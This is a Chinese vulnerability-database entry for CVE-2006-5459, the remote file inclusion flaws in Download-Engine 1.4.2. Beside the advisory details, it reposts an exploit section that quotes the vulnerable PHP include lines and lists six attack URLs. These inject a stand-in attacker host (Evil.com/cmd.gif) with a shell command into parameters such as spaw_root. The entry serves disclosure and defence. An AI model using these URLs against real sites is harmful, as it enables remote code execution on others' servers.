Download-Engine 多个PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1193095 漏洞类型 未知
发布时间 2006-10-23 更新时间 2006-10-23
CVE编号 CVE-2006-5459 CNNVD-ID CNNVD-200610-386
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://www.securityfocus.com/bid/87576
https://cxsecurity.com/issue/WLB-2006100123
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-386
|漏洞详情
Download-Engine1.4.2和更早版本中存在多个PHP远程文件包含漏洞,远程攻击者可以通过admin/includes/spaw/spaw_script.js.php的(1)$_ENGINE[eng_dir]和可能是(2)spaw_root参数,以及admin/includes/spaw/config/spaw_control.config.php的(3)$_ENGINE[eng_dir],(4)$spaw_root,(5)$spaw_dir和(6)$spaw_base_url参数中的URL来执行任意PHP代码。
|漏洞EXP
# BiyoSecurity.Org & SecurityWall.Org

# Scripts: Download-Engine Remote File Include

# Download: http://www.alexscriptengine.de/v2/dl_engine/redirect.php?dlid=50&ENGINEs
essID=4754ee8243de5f333ec74272f249b649

# Version : 1.4.2 And Old versions...

# Greetz : Liz0zim , RMx , TR_IP , DreamLord

# Regards : KorsaN

# Vulnerable file And Code :

1. adminincludesspawspaw_script.js.php

include ($engine_path . "lib.inc.php");

include $_ENGINE['eng_dir'].'admin/includes/spaw/class/script.js.php';

2. adminincludesspawconfigspaw_control.config.php

$spaw_root = $_ENGINE['eng_dir']."admin/includes/spaw/";

$spaw_dir = $_ENGINE['main_url'].'/admin/includes/spaw/';

$spaw_base_url = $_ENGINE['main_url'].'/admin/includes/spaw/';

# EXPLOIT :

http://www.victim.com/[PATH TO SCRİPT]/admin/includes/spaw/spaw_script.js.php?spaw_root=http://Evi
l.com/cmd.gif?&cmd=ls

http://www.victim.com/[PATH TO SCRİPT]/admin/includes/spaw/spaw_script.js.php?_ENGINE[eng_dir]=htt
p://Evil.com/cmd.gif?&cmd=ls

http://www.victim.com/[PATH TO SCRİPT]/admin/includes/spaw/config/spaw_control.config.php?_ENGINE[
eng_dir]=http://Evil.com/cmd.gif?&cmd=ls

http://www.victim.com/[PATH TO SCRİPT]/admin/includes/spaw/config/spaw_control.config.php?spaw_roo
t=http://Evil.com/cmd.gif?&cmd=ls

http://www.victim.com/[PATH TO SCRİPT]/admin/includes/spaw/config/spaw_control.config.php?spaw_dir
=http://Evil.com/cmd.gif?&cmd=ls

http://www.victim.com/[PATH TO SCRİPT]/admin/includes/spaw/config/spaw_control.config.php?spaw_bas
e_url=http://Evil.com/cmd.gif?&cmd=ls
|受影响的产品
Alex DownloadEngine 1.4.2
|参考资料

来源:BUGTRAQ
名称:20061012Download-EngineRemoteFileİnclude
链接:http://www.securityfocus.com/archive/1/archive/1/448574/100/100/threaded
来源:SREASON
名称:1761
链接:http://securityreason.com/securityalert/1761